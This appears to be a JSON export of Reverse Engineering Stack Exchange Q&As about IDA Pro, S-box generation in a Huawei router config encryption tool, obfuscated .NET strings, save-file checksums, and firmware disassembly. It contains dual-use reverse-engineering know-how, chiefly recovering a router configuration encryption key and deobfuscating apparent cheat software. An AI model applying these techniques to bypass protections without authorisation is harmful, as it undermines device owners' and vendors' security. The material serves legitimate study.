        "Body": "<p>In practicing reading source code and analysing I've been looking at a program called <code>aescrypt2_huawei</code> which floats around the web and encrypts/decrypts the XML config file from Huawei routers like the HG8245 router installed by Internet Service Providers. The router is discussed on a number of <a href=\"https://zedt.eu/tech/hardware/obtaining-administrator-access-huawei-hg8247h/\" rel=\"nofollow noreferrer\">blogs</a> and the <a href=\"https://zedt.eu/storage/2016/02/aescrypt2_huawei.zip\" rel=\"nofollow noreferrer\">aescrypt2</a> can be downloaded and examined. I have also found the <a href=\"https://github.com/palmerc/AESCrypt2\" rel=\"nofollow noreferrer\">source code</a> and put it on GitHub.</p>\n\n<p>So far I've found:</p>\n\n<ul>\n<li><a href=\"https://github.com/coruus/nist-testvectors/blob/master/csrc.nist.gov/groups/ST/toolkit/documents/Examples/SHA256.txt\" rel=\"nofollow noreferrer\">NIST SHA256 Test Vector</a> in the source </li>\n<li>inflate 1.2.5 calling code</li>\n<li>Identified the code path to the decrypt section</li>\n</ul>\n\n<p>What I haven't found:</p>\n\n<ul>\n<li>Any S-boxes for AES</li>\n<li>The key</li>\n</ul>\n\n<p>Running <code>findcrypt</code> in IDA Pro is also not turning up anything which leads me to believe my <code>findcrypt</code> plugin isn't working. However, I then start looking for the S-boxes sequence 0x63 0x7c which can easily be found in the source code and IDA pro doesn't find that either... I then dropped to hexdump and searched for 0x63 and it is not there. Given that I can see the S-box in the source and I just compiled the binary myself what am I doing wrong?</p>\n\n<p>Shouldn't the forward S-box appear in the data segment more or less as-is?</p>\n\n<p>And now that I've found the key through the debugger in the <code>.bss</code> segment why isn't the string in the data segment?</p>\n",
        "Title": "Finding the encryption key in a binary - IDA Pro and how an S-box might be represented in the binary",
        "Tags": "|ida|encryption|",
        "Answer": "<h2>Initialization of the forward S-box</h2>\n\n<p>As you probably saw in the source-code, the forward S-box is present several times and initialized at two different places. </p>\n\n<p>The first time that the forward S-box (<code>Fsb</code>) is declared is at the top of <a href=\"https://github.com/palmerc/AESCrypt2/blob/ecc335e7dc8a9622b22463f41ee42e54c0978139/aes.c\" rel=\"noreferrer\"><code>aes.c</code></a>:</p>\n\n<pre><code>uint32 FSb[256];\n</code></pre>\n\n<p>This array is then dynamically <a href=\"https://github.com/palmerc/AESCrypt2/blob/ecc335e7dc8a9622b22463f41ee42e54c0978139/aes.c#L93\" rel=\"noreferrer\">generated</a> by <code>aes_gen_tables()</code> like this:</p>\n\n<pre><code>FSb[0x00] = 0x63;\nRSb[0x63] = 0x00;\n\nfor( i = 1; i &lt; 256; i++ )\n{\n    x = pow[255 - log[i]];\n\n    y = x;  y = ( y &lt;&lt; 1 ) | ( y &gt;&gt; 7 );\n    x ^= y; y = ( y &lt;&lt; 1 ) | ( y &gt;&gt; 7 );\n    x ^= y; y = ( y &lt;&lt; 1 ) | ( y &gt;&gt; 7 );\n    x ^= y; y = ( y &lt;&lt; 1 ) | ( y &gt;&gt; 7 );\n    x ^= y ^ 0x63;\n\n    FSb[i] = x;\n    RSb[x] = i;\n}\n</code></pre>\n\n<p>The other initialization of <code>Fsb[256]</code> is <a href=\"https://github.com/palmerc/AESCrypt2/blob/ecc335e7dc8a9622b22463f41ee42e54c0978139/aes.c#L143\" rel=\"noreferrer\">easy to spot</a> in the code file and is a static constant which is defined like this:</p>\n\n<pre><code>/* forward S-box */\n\nstatic const uint32 FSb[256] =\n{\n    0x63, 0x7C, 0x77, 0x7B, 0xF2, 0x6B, 0x6F, 0xC5,\n    0x30, 0x01, 0x67, 0x2B, 0xFE, 0xD7, 0xAB, 0x76,\n    0xCA, 0x82, 0xC9, 0x7D, 0xFA, 0x59, 0x47, 0xF0,\n    0xAD, 0xD4, 0xA2, 0xAF, 0x9C, 0xA4, 0x72, 0xC0,\n    0xB7, 0xFD, 0x93, 0x26, 0x36, 0x3F, 0xF7, 0xCC,\n    0x34, 0xA5, 0xE5, 0xF1, 0x71, 0xD8, 0x31, 0x15,\n    0x04, 0xC7, 0x23, 0xC3, 0x18, 0x96, 0x05, 0x9A,\n\n         &lt; ... Truncated for readability ... &gt;\n\n    0x9B, 0x1E, 0x87, 0xE9, 0xCE, 0x55, 0x28, 0xDF,\n    0x8C, 0xA1, 0x89, 0x0D, 0xBF, 0xE6, 0x42, 0x68,\n    0x41, 0x99, 0x2D, 0x0F, 0xB0, 0x54, 0xBB, 0x16\n};\n</code></pre>\n\n<hr>\n\n<h2>Two initialization of <code>Fsb[]</code>?</h2>\n\n<p>Yes, the author of the program describes it in the <a href=\"https://github.com/palmerc/AESCrypt2/blob/ecc335e7dc8a9622b22463f41ee42e54c0978139/aes.c#L27\" rel=\"noreferrer\">comments</a>:</p>\n\n<pre><code>/* uncomment the following line to use pre-computed tables */\n/* otherwise the tables will be generated at the first run */\n\n/* #define FIXED_TABLES */\n\n#ifndef FIXED_TABLES\n\n/* forward S-box &amp; tables */\n...\n...\n...\n\n#else\n\n/* forward S-box */\n\nstatic const uint32 FSb[256] =\n{\n    0x63, 0x7C, 0x77, ...\n...\n...\n</code></pre>\n\n<p>Thus, if you want the array to be pre-determined, just uncomment <code>#define FIXED_TABLES</code> and you'll be fine.</p>\n\n<hr>\n\n<h2>Debugger time!</h2>\n\n<p>The functions which is responsible to generate the forward S-box is <a href=\"https://github.com/palmerc/AESCrypt2/blob/ecc335e7dc8a9622b22463f41ee42e54c0978139/aes.c#L66\" rel=\"noreferrer\"><code>aes_gen_tables( void )</code></a> which is called from <a href=\"https://github.com/palmerc/AESCrypt2/blob/ecc335e7dc8a9622b22463f41ee42e54c0978139/aes.c#L437\" rel=\"noreferrer\"><code>aes_set_key( ... )</code></a>. The latter is called from the <a href=\"https://github.com/palmerc/AESCrypt2/blob/master/aescrypt2.c#L269\" rel=\"noreferrer\">aescrypt2.c</a>. We can spot the call to <code>aes_set_key()</code> in IDA:</p>\n\n<p><a href=\"https://i.stack.imgur.com/IRM9M.png\" rel=\"noreferrer\"><img src=\"https://i.stack.imgur.com/IRM9M.png\" alt=\"enter image description here\"></a></p>\n\n<p>From there, locating <code>aes_gen_tables()</code> is easy peasy:</p>\n\n<p><a href=\"https://i.stack.imgur.com/76wXw.png\" rel=\"noreferrer\"><img src=\"https://i.stack.imgur.com/76wXw.png\" alt=\"enter image description here\"></a></p>\n\n<p>As we said, the array is dynamically filled with values and we can view it using the debugger. Let's find the address of the array to be initialized and put a Hardware Breakpoint on Write on this address.</p>\n\n<p>Here's the part where the first item of the <code>Fsb</code> is initialized:</p>\n\n<p><a href=\"https://i.stack.imgur.com/GMcCY.png\" rel=\"noreferrer\"><img src=\"https://i.stack.imgur.com/GMcCY.png\" alt=\"enter image description here\"></a></p>\n\n<p>This is the equivalent <a href=\"https://github.com/palmerc/AESCrypt2/blob/ecc335e7dc8a9622b22463f41ee42e54c0978139/aes.c#L90\" rel=\"noreferrer\">part</a> from the source code:</p>\n\n<pre><code>/* generate the forward and reverse S-boxes */\n\nFSb[0x00] = 0x63;\nRSb[0x63] = 0x00;\n</code></pre>\n\n<p>Now put the Hardware Breakpoint on <code>0x00412F00</code>:</p>\n\n<p><a href=\"https://i.stack.imgur.com/Y5QvM.png\" rel=\"noreferrer\"><img src=\"https://i.stack.imgur.com/Y5QvM.png\" alt=\"enter image description here\"></a></p>\n\n<p>Now we all set and we can start the debug session. Press the play button and start the program, then you'll have to input information to the console that has just popped up. After done, pressing <kbd>Enter</kbd> in the console will trigger our HW breakpoint. This is where <code>Fsb[0]</code> is set to 0x63. Press the play button and the breakpoint again will be triggered, this time it's at the end of the generation loop and our array will be filled:</p>\n\n<p><a href=\"https://i.stack.imgur.com/VVkhu.png\" rel=\"noreferrer\"><img src=\"https://i.stack.imgur.com/VVkhu.png\" alt=\"enter image description here\"></a> </p>\n\n<p>There we go, now we found our forward S-box after it was dynamically generated by the program.</p>\n"
    },
    {
        "Id": "17137",
        "CreationDate": "2018-01-06T22:09:10.870",
        "Body": "<p>(I made a topic but I was ask'd to re-made it)</p>\n\n<p>Hi! I have a program and when I want to decompile/dissamble it finish and when I inspect the code everywhere where should be some filenames there are .(xxxxxxx) </p>\n\n<p>A string example: </p>\n\n<pre><code>string[] strArrays = new string[] { .(724934127), .(724937998), .(724937298), .(724933662), .(724933645), .(724936743), .(724933692), .(724933676), .(724933726), .(724933696), .(724933746), .(724933730), .(724933791), .(724937480), .(724933761), .(724933821), .(724933805), .(724933840), .(724933839), .(724933887), .(724933868), .(724931357), .(724931342), .(724931388), .(724931368), .(724931363), .(724931415), .(724937065), .(724931448), .(724931434), .(724931482), .(724931469), .(724931517), .(724931499), .(724938544), .(724931547), .(724931531), .(724931582), .(724931567), .(724938934), .(724931101), .(724938572), .(724931078), .(724931127), .(724940776), .(724937657), .(724931160), .(724940554), .(724938456), .(724936855), .(724931149), .(724931186), .(724936788), .(724931227), .(724937236), .(724931203), .(724931249), .(724931247), .(724931293), .(724931275), .(724931323), .(724931305), .(724931303), .(724930838), .(724930873), .(724930869), .(724930853), .(724930902), .(724930885), .(724930932), .(724930918), .(724930962), .(724930945), .(724931005), .(724930985), .(724930983), .(724931016), .(724931011), .(724931070), .(724931054), .(724930579)\n</code></pre>\n\n<p>There should be something like:</p>\n\n<pre><code>string[] array = new string[]{filename.dll, cheat.dll, hack_name, and so on...};\n</code></pre>\n\n<p>How I can make it \"readable\" ? Thanks!</p>\n\n<p>(Sorry if I did break somehow the rules :/)</p>\n",
        "Title": "Encrypted String?",
        "Tags": "|disassembly|decompilation|encryption|c#|",
        "Answer": "<p>It looks like obfuscated .net code. It also looks like that some names of properties/classes are obfuscated into some kind of unicode/other-non-readable representation, and your \".(724942833)\" is actually \"some_unreadable_symbol.some_probably_other_unreadable_symbol(724942833)\".</p>\n\n<p>Unreadable symbols should lead to classes and methods which will allow to understand what exactly happens there.\nIn order to make this mess readable you should rename these methods/classes into readable form. Did you try <a href=\"https://github.com/0xd4d/de4dot\" rel=\"nofollow noreferrer\">de4dot</a> ? According to its features list it should solve this problem instantly.</p>\n"
    },
    {
        "Id": "17140",
        "CreationDate": "2018-01-07T10:27:38.940",
        "Body": "<p>I bring you either a hard challenge or the easiest challenge you've ever had.</p>\n\n<p>I have a save file for this <a href=\"http://store.steampowered.com/app/480650/YuGiOh_Legacy_of_the_Duelist/\" rel=\"nofollow noreferrer\">game</a> The first bytes are:</p>\n\n<pre><code>F9 29 CE 54 02 4D 71 04 4D 71 00 00 \n</code></pre>\n\n<p>this is the same throughout every save file I create, now this is where I come to you guys, I can't see anywhere in IDA where it's generating this \"checksum\" I looked at the string refs for \"savegame.dat\" it's reffed in 3 places but when I do C psuedo-code I can't see any writing to file happening around the refs, so maybe I am going crazy?</p>\n\n<p>Anyway, like I was saying, the check sum I get back looks like this: </p>\n\n<pre><code>45 13 CD 5A 02 00 00 00\n</code></pre>\n\n<p>It might not end in the trailing 00's, I only include them because this goes up to 8 bytes which seems logically, there is still lots of file to go, but it goes randomly like 05, 02, 01 etc so I don't think it would be needed however a better person will likely prove me wrong :).</p>\n\n<pre><code>45 56 42 E5 01 00 00 00\nC4 94 3D 73 08 00 00 00\n4C 67 FA 44 01 00 00 00\n45 13 CD 5A 02 00 00 00\nD8 9A F1 E6 0A 00 00 00\nF7 84 4F 99 02 00 00 00\n18 4B 4F 56 02 00 00 00\n25 44 F6 AF BF 00 00 00\n</code></pre>\n\n<p>What little advice I can offer is there was a section later in this file that had</p>\n\n<pre><code>00 00 00 00 00 00 00 00 00 00 00 00 E2 07 00 02 07 77 18 00 46 00 00 00 E2 07 00 02 07 B7 B0 00 66 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 7E 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00\n</code></pre>\n\n<p>which after testing with someone we determined this is \"Creation\" and either \"Last accessed\" or \"Last modified\" we found this out because what goes into E2 07's in INT16 - Little Endian is what the year is, although we don't know what the last few parts are. But that isn't what this is about. It's more an idea saying that it might be fully Little Endian.</p>\n\n<p>Any advice how I could find in Ida or anything else would be greatly appreciated :).</p>\n",
        "Title": "Identifying Checksum?",
        "Tags": "|file-format|hex|",
        "Answer": "<p>Turns out it was a XOR'd checksum, managed to figure it out and will be here: <a href=\"https://github.com/Arefu/Wolf\" rel=\"nofollow noreferrer\">https://github.com/Arefu/Wolf</a> if people want to see it in action in the future.</p>\n"
    },
    {
        "Id": "17144",
        "CreationDate": "2018-01-08T01:40:24.987",
        "Body": "<p>I assembled a simple objective-c file that prints hello to the screen. this is the code:</p>\n\n<pre><code>#import &lt;Foundation/Foundation.h&gt;\nint main() {\n    NSString* a = [NSString stringWithUTF8String: \"hi\"];\n    NSLog(a);\n    return 0;\n}\n</code></pre>\n\n<p>When I assembled it and converted it into Nasm syntax, this is the output:</p>\n\n<pre><code>section .text\ndefault rel\nextern _OBJC_CLASS_$_NSString\nextern _NSLog\nextern _objc_msgSend   \nglobal _main \n_main:   \n    push rbp \n    mov rbp, rsp \n    sub rsp, 16 \n    lea rdx, [ L_.str] \n    mov dword [rbp - 4], 0\n    mov rax, qword [ L_OBJC_CLASSLIST_REFERENCES_$_] \n    mov rsi, qword [ L_OBJC_SELECTOR_REFERENCES_]\n    mov rdi, rax \n    call    _objc_msgSend \n    mov qword [rbp - 16], rax \n    mov rax, qword [rbp - 16] \n    mov rdi, rax ; rdi has rax\n    mov al, 0 \n    call    _NSLog \n    xor eax, eax \n    add rsp, 16 \n    pop rbp \n    ret \n\nsegment __DATA,__objc_classrefs\nL_OBJC_CLASSLIST_REFERENCES_$_: dq  _OBJC_CLASS_$_NSString\n\n    segment __TEXT,__cstring\nL_.str: db  \"hi\"\n\n    segment .__TEXT,.__objc_methname\nL_OBJC_METH_VAR_NAME_:   db \"stringWithUTF8String:\"\n\n    segment __DATA,__objc_selrefs\nL_OBJC_SELECTOR_REFERENCES_: dq L_OBJC_METH_VAR_NAME_\n\n    segment __DATA,__objc_imageinfo\nL_OBJC_IMAGE_INFO:\n    dd  0\n    dd  64\n</code></pre>\n\n<p>I understand most of it, like the different objc segments, but I dont understand things like <code>mov   rax, qword [rbp - 16]</code> or even <code>mov al, 0</code>. This is 64 bit assembly code so why is the register <code>al</code> referenced? and why is <code>[rbp-16]</code> stored into <code>rax</code>?</p>\n",
        "Title": "Objective-C disassembling - I dont understand this code",
        "Tags": "|osx|nasm|",
        "Answer": "<p>The instructions</p>\n\n<pre><code>mov qword [rbp - 16], rax \nmov rax, qword [rbp - 16] \n</code></pre>\n\n<p>are created by the compiler which is using <a href=\"https://en.wikipedia.org/wiki/Stack-based_memory_allocation\" rel=\"noreferrer\">stack based memory allocation</a> to store the result from the NSString objc call. If you compile with optimizations, the compiler should eliminate the need to store the value in stack altogether.</p>\n\n<p>The </p>\n\n<pre><code>mov al, 0\n</code></pre>\n\n<p>is set as an input to the NSLog function which is a variadic function so it needs a way to determine how many variables are stored in vector registers (<code>xmm</code>/<code>ymm</code>) vs general purpose ones (e.g. <code>rdi</code>, <code>rsi</code>, etc.) when processing the input arguments. Since the number of vector registers is far less than 256, it only needs to use 8-bits and will only look at <code>al</code>. This saves a bit of space in code utilization as the <code>mov al, xx</code> operation only takes 2 bytes.</p>\n"
    },
    {
        "Id": "17158",
        "CreationDate": "2018-01-08T23:27:00.313",
        "Body": "<p>I'm digging into a BLE product based on a CC2541 MCU (similar to the Texas Instruments SensorTag). So for experimenting we can use an official firmware: <a href=\"http://processors.wiki.ti.com/images/1/10/SensorTagFW_1_5.zip\" rel=\"nofollow noreferrer\">http://processors.wiki.ti.com/images/1/10/SensorTagFW_1_5.zip</a></p>\n\n<p>binwalk does not give any results.\nstrings give some valid information, so the file is ok.</p>\n\n<p>Reading the datasheet for CC2541 tells it is a 8051 controller. (?)</p>\n\n<p>So i tried:</p>\n\n<pre><code>root@kali:~/bm2# radare2 -a 8051 firmware.bin \nCannot set bits 32 to '8051'\nCannot set bits 32 to '8051'\n -- Use 'e' and 't' in Visual mode to edit configuration and track flags.\n[0x00000000]&gt; aaaa\n[*** invalid %N$ use detected ***th sym. and entry0 (aa)\nAborted\n</code></pre>\n\n<p>I know there is an open bug about %N$:\n<a href=\"https://github.com/radare/radare2/issues/3944\" rel=\"nofollow noreferrer\">https://github.com/radare/radare2/issues/3944</a> </p>\n\n<p>Do i do it all wrong, or can somebody point me in the right direction? A bit unsure about the MCU settings and bitsize though.</p>\n",
        "Title": "Disassemble CC2541 firmware (TI SensorTag)",
        "Tags": "|disassembly|firmware|radare2|8051|",
        "Answer": "<p>This issue is now fixed and you should be able to load the firmware with the command line you tried.</p>\n\n<p>Also check out the recent addition to the r2 documentation for more details about 8051 support.\n<a href=\"https://github.com/radareorg/radare2book/blob/master/arch/8051.md\" rel=\"nofollow noreferrer\">https://github.com/radareorg/radare2book/blob/master/arch/8051.md</a></p>\n"
    },
    {
        "Id": "17159",
        "CreationDate": "2018-01-09T04:47:19.347",
        "Body": "<p>I am using IDA Free for malware analysis and I wanted to patch a binary I am looking at. I applied the patch by using the patch menu, which modifies the DATABASE representation of the executable. </p>\n\n<p>When I go to run the executable via <em>Debugger -> Run</em>, it warns me that the database has been patched and there may be inconsistencies. However, when it finally runs it runs the original executable without patched code!</p>\n\n<p>Is there a way to tell IDA to run the patched code? Or, since it's only patched in the database, my only choice is to export a <em>DIF</em> file and patch it manually to confirm it works?</p>\n",
        "Title": "Running a patched binary within IDA Free",
        "Tags": "|ida|",
        "Answer": "<p>IDA Free doesn't support the <em>\"Apply patches to input file...\"</em> feature. Hence, you'll have to do this the old way. I'll expand my answer and will go over things you already know so others (e.g coming from search engines) can benefit from a whole complete answer.</p>\n\n<h2>Edit the configuration file</h2>\n\n<p>The first thing you have to do is to modify an IDA GUI configuration file named <em>idagui.cfg</em>. You should be able to find the file at <em>\"IDA Free\\cfg\\idagui.cfg\"</em>. Locate the file and change <em>\"DISPLAY_PATCH_SUBMENU\"</em> form <em>\"NO\"</em> to <em>\"YES\"</em>.</p>\n\n<p>After that, start IDA Free and you'll see a fresh new sub-menu called <em>\"Patch program\"</em>. </p>\n\n<h2>Patching</h2>\n\n<p>You should be able to use this sub-menu to edit the program. It's pretty intuitive, just put your cursor wherever you want to make a change, and choose the appropriate option from the sub-menu.</p>\n\n<p><strong><em>Notice</strong> that every patch you do is only affected on the IDB, the IDA Database. Thus, the binary on disk won't be affected and when you'll try to debug/execute it you will not see your patches.</em></p>\n\n<h2>Exporting a .DIF file</h2>\n\n<p>When you finish with all your patches, it's time to apply them to the binary on disk. To do this, you'll first have to produce a <em>.DIF</em> file that will contain a list of the changes you've made.</p>\n\n<p>To produce this file go to <em>File -> Produce File -> Create DIF file...\"</em>.</p>\n\n<h2>Applying the changes to the binary</h2>\n\n<p>You can use <a href=\"https://stalkr.net/files/ida/idadif.py\" rel=\"nofollow noreferrer\">this</a> <em>Python</em> script by <em>stalker</em> to apply the changes. Use it like this:</p>\n\n<pre><code>$ idadif.py &lt;original_binary&gt; &lt;IDA_DIF_file.dif&gt; [revert]\n</code></pre>\n\n<p><strong>Alternatives:</strong><br>\n<em>Note that I didn't test these alternatives and I'm pretty sure that some of them will not work with IDA Free</em></p>\n\n<ul>\n<li><a href=\"http://www.idabook.com/chapter14/ida_patcher.c\" rel=\"nofollow noreferrer\">ida_patcher.c</a></li>\n<li><a href=\"https://github.com/nihilus/IDA-IDC-Scripts/blob/master/PE-scripts/pe_write.idc\" rel=\"nofollow noreferrer\">pe_write.idc</a></li>\n<li><a href=\"https://github.com/iphelix/ida-patcher\" rel=\"nofollow noreferrer\">IDA Patcher plugin</a></li>\n<li><a href=\"https://github.com/grepwood/ida-dif-patch\" rel=\"nofollow noreferrer\">IDA DIF Patch</a></li>\n</ul>\n"
    },
    {
        "Id": "17178",
        "CreationDate": "2018-01-12T00:10:23.027",
        "Body": "<p>I'm trying to disassembly x64 executable (dll) using <a href=\"http://www.capstone-engine.org\" rel=\"nofollow noreferrer\">Capstone</a>. But operand address returned by it doesn't match disassembly from IDA/HIEW.</p>\n\n<p>Here is the machine code:</p>\n\n<pre><code>0x48, 0x8D, 0x0D, 0xED, 0x44, 0x01, 0x00\n</code></pre>\n\n<p>In IDA/HIEW the disassembly is:</p>\n\n<pre><code>lea  rcx,[0000148F8]\n</code></pre>\n\n<p>But by using Capstone (with PowerShell bindings) I get different address <code>0x144ed</code>:</p>\n\n<pre><code>Get-CapstoneDisassembly -Architecture CS_ARCH_X86 -Mode CS_MODE_64 -Bytes (\n    0x48, 0x8D, 0x0D, 0xED, 0x44, 0x01, 0x00\n) -Address 0x1800000004096 -Detailed\n\nSize     : 7\nAddress  : 0x180001000\nMnemonic : lea\nOperands : rcx, qword ptr [rip + 0x144ed]\nBytes    : {72, 141, 13, 237, 68, 1, 0, 148, 204, 148, 0, 17, 0, 128, 0, 0}\nRegRead  :\nRegWrite :\n</code></pre>\n\n<p>You can verify this online by using <a href=\"https://alexaltea.github.io/capstone.js/\" rel=\"nofollow noreferrer\">Capstone.js</a> and <code>488D0DED440100</code> as input.</p>\n\n<p>I've also tried <a href=\"https://github.com/spazzarama/SharpDisasm\" rel=\"nofollow noreferrer\">SharpDisasm</a>, but result is the same:</p>\n\n<pre><code>lea rcx, [rip+0x144ed]\n</code></pre>\n\n<p>Could somebody help me to understand what's happening here?</p>\n",
        "Title": "Operand address in Capstone disassembly is not the same as in IDA/HIEW",
        "Tags": "|disassembly|address|capstone|",
        "Answer": "<p>This is <a href=\"https://en.wikipedia.org/wiki/X86#Addressing_modes\" rel=\"nofollow noreferrer\">RIP-relative addressing</a>. Basically, it is adding 0x144ed to the address of the very next instruction - i.e. rcx = <code>rip</code> + 7 (since this instruction is 7 bytes) + 0x144ed. In IDA, that instruction is located at 0x404 so it is adding 0x144ed to (0x404+7) = 0x148f8</p>\n"
    },
    {
        "Id": "17181",
        "CreationDate": "2018-01-12T10:01:33.780",
        "Body": "<p>Does anyone know why the PE DOS stub often includes repetitive looking data that does not seem to be valid 16bit commands?</p>\n\n<p><a href=\"https://i.stack.imgur.com/D4J9N.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/D4J9N.png\" alt=\"enter image description here\"></a></p>\n",
        "Title": "PE DOS stub content not commands",
        "Tags": "|pe|dos-exe|pe32|",
        "Answer": "<p>This is the so-called \"Rich header\", added by Microsoft's link.exe (you can see the text \"Rich\" at the end of the mysterious block). It contains information about the versions of compilers and other tools which participated in producing the code of the executable. Some references:</p>\n\n<ul>\n<li><a href=\"https://www.sec.in.tum.de/i20/publications/finding-the-needle-a-study-of-the-pe32-rich-header-and-respective-malware-triage\" rel=\"noreferrer\"><em>Finding the Needle: A Study of the PE32 Rich Header and Respective Malware Triage</em></a> </li>\n<li><a href=\"http://www.ntcore.com/files/richsign.htm\" rel=\"noreferrer\"><em>Microsoft's Rich Signature (undocumented)</em></a></li>\n<li><p><a href=\"https://gist.github.com/skochinsky/07c8e95e33d9429d81a75622b5d24c8b\" rel=\"noreferrer\">My parser</a> based on code from <a href=\"http://trendystephen.blogspot.be/2008/01/rich-header.html\" rel=\"noreferrer\">this article</a> (more references at the bottom)</p>\n\n<p>Typical output:</p>\n\n<pre><code>PRODID   name            build count\n      1   Import0             0   141\n     95   Utc1310_C        4035     1\n    110   Utc1400_CPP     50727    45\n    125   Masm800         50727    17\n    109   Utc1400_C       50727   105\n    120   Linker800       50727     1\n     93   Implib710        4035    19\n    124   Cvtres800       50727     1\nChecksum valid\n</code></pre></li>\n</ul>\n"
    },
    {
        "Id": "17187",
        "CreationDate": "2018-01-12T22:45:17.870",
        "Body": "<p>Binwalk v2.1.1 on Ubuntu, and tried to research Zyxel Router firmware. First I unzipped FW, there was 3 files:</p>\n\n<pre><code>360AUG0C0.bin, 360AUG0C0.rom, AUG107.bm\n</code></pre>\n\n<p>I used binwalk to extract content of <em>bin</em> file, <code>binwalk -Me 360AUG0C0.bin</code>, but extracted content was just a lot of xml files and two .7z archives. What can be a problem? Below is binwalk log:</p>\n\n<pre><code>Scan Time:     2018-01-13 00:07:37\nTarget File:   /../../Downloads/stuff/P-2302R-P1C_360AUG0C0/360AUG0C0.bin\nMD5 Checksum:  9c6fd89abcc52bebe35f9120ce84c0bf\nSignatures:    344\n\nDECIMAL       HEXADECIMAL     DESCRIPTION\n--------------------------------------------------------------------------------\n60068         0xEAA4          ZyXEL rom-0 configuration block, name: \"dbgarea\", compressed size: 0, uncompressed size: 0, data offset from start of block: 16\n60224         0xEB40          ZyXEL rom-0 configuration block, name: \"dbgarea\", compressed size: 0, uncompressed size: 0, data offset from start of block: 16\n98352         0x18030         LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 227420 bytes\n232724        0x38D14         Unix path: /usr/share/tabset/vt100:\\\n233492        0x39014         ZyXEL rom-0 configuration block, name: \"spt.dat\", compressed size: 0, uncompressed size: 0, data offset from start of block: 16\n233512        0x39028         ZyXEL rom-0 configuration block, name: \"autoexec.net\", compressed size: 25972, uncompressed size: 11886, data offset from start of block: 16\n307248        0x4B030         LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 5587504 bytes\n\n\nScan Time:     2018-01-13 00:07:38\nTarget File:   /../../Downloads/stuff/P-2302R-P1C_360AUG0C0/_360AUG0C0.bin.extracted/18030\nMD5 Checksum:  325a9d0d1f51e73fd07acc08941e72a2\nSignatures:    344\n\nDECIMAL       HEXADECIMAL     DESCRIPTION\n--------------------------------------------------------------------------------\n\n\nScan Time:     2018-01-13 00:07:38\nTarget File:   /../../Downloads/stuff/P-2302R-P1C_360AUG0C0/_360AUG0C0.bin.extracted/4B030\nMD5 Checksum:  31495089c3a566f413f2b86afed41c82\nSignatures:    344\n\nDECIMAL       HEXADECIMAL     DESCRIPTION\n--------------------------------------------------------------------------------\n3441718       0x348436        ZyXEL rom-0 configuration block, name: \"autoexec.net\", compressed size: 25972, uncompressed size: 11886, data offset from start of block: 16\n3442044       0x34857C        Copyright string: \"Copyright (c) 1994 - 2006 ZyXEL Communications Corp.\"\n3471518       0x34F89E        ZyXEL rom-0 configuration block, name: \"autoexec.net\", compressed size: 25972, uncompressed size: 11886, data offset from start of block: 16\n3493934       0x35502E        Neighborly text, \"neighbor loss %d: adslAtucPerfLolThreshTrap\"\n3552100       0x363364        CRC32 polynomial table, big endian\n3591525       0x36CD65        Unix path: /UDP/ICMP/GRE/ESP, from %s, proto=%u\n3592386       0x36D0C2        Unix path: /UDP/ICMP/GRE/ESP, proto=%u\n3607249       0x370AD1        Unix path: /in/out/both/none]\n3621495       0x374277        Unix path: /disableAllExceptTrusted/unblockRWFToTrusted/keywordBlock/fullPath/caseInsensitive/fileName][enable/disable]\n3700452       0x3876E4        Unix path: /C/Zyxel-XXXXXXXXX/CBRCPRXX/-/0104/0/www.taiwan-adult.com/80/ HTTP/1.1\n3705584       0x388AF0        HTML document footer\n3705864       0x388C08        HTML document header\n3706140       0x388D1C        HTML document header\n3715484       0x38B19C        Base64 standard index table\n3869496       0x3B0B38        ZyXEL rom-0 configuration block, name: \"dbgarea\", compressed size: 0, uncompressed size: 0, data offset from start of block: 16\n3906504       0x3B9BC8        XML document, version: \"1.0\"\n3910084       0x3BA9C4        XML document, version: \"1.0\"\n3910916       0x3BAD04        XML document, version: \"1.0\"\n3916304       0x3BC210        XML document, version: \"1.0\"\n3917004       0x3BC4CC        XML document, version: \"1.0\"\n3928628       0x3BF234        XML document, version: \"1.0\"\n3937121       0x3C1361        HTML document header\n3937822       0x3C161E        XML document, version: \"1.0\"\n3937939       0x3C1693        Unix path: /www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd\"&gt;\n3984353       0x3CCBE1        HTML document header\n3985051       0x3CCE9B        XML document, version: \"1.0\"\n3985167       0x3CCF0F        Unix path: /www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd\"&gt;\n3989273       0x3CDF19        HTML document header\n3989960       0x3CE1C8        XML document, version: \"1.0\"\n3990074       0x3CE23A        Unix path: /www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd\"&gt;\n3994089       0x3CF1E9        HTML document header\n3994779       0x3CF49B        XML document, version: \"1.0\"\n3994895       0x3CF50F        Unix path: /www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd\"&gt;\n3996009       0x3CF969        HTML document header\n3996705       0x3CFC21        XML document, version: \"1.0\"\n3996823       0x3CFC97        Unix path: /www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd\"&gt;\n4030866       0x3D8192        Base64 standard index table\n4038917       0x3DA105        Copyright string: \"Copyright.html\"\n4055567       0x3DE20F        Copyright string: \"copyright {\"\n4056555       0x3DE5EB        Copyright string: \"copyright {\"\n4058339       0x3DECE3        Copyright string: \"copyright {\"\n4069187       0x3E1743        Copyright string: \"copyright {\"\n4124248       0x3EEE58        HTML document header\n4124852       0x3EF0B4        XML document, version: \"1.0\"\n4124966       0x3EF126        Unix path: /www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd\"&gt;\n4138534       0x3F2626        HTML document header\n4139218       0x3F28D2        XML document, version: \"1.0\"\n4139335       0x3F2947        Unix path: /www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd\"&gt;\n4143697       0x3F3A51        HTML document header\n4144384       0x3F3D00        XML document, version: \"1.0\"\n4144498       0x3F3D72        Unix path: /www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd\"&gt;\n4148081       0x3F4B71        HTML document header\n4148765       0x3F4E1D        XML document, version: \"1.0\"\n4148879       0x3F4E8F        Unix path: /www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd\"&gt;\n4158731       0x3F750B        Copyright string: \"Copyright.html','Copyright','width=430,height=310')\" onMouseOut=\"MM_swapImgRestore()\" onMouseOver=\"MM_swapImage('Image4','','ima\"\n4158748       0x3F751C        Copyright string: 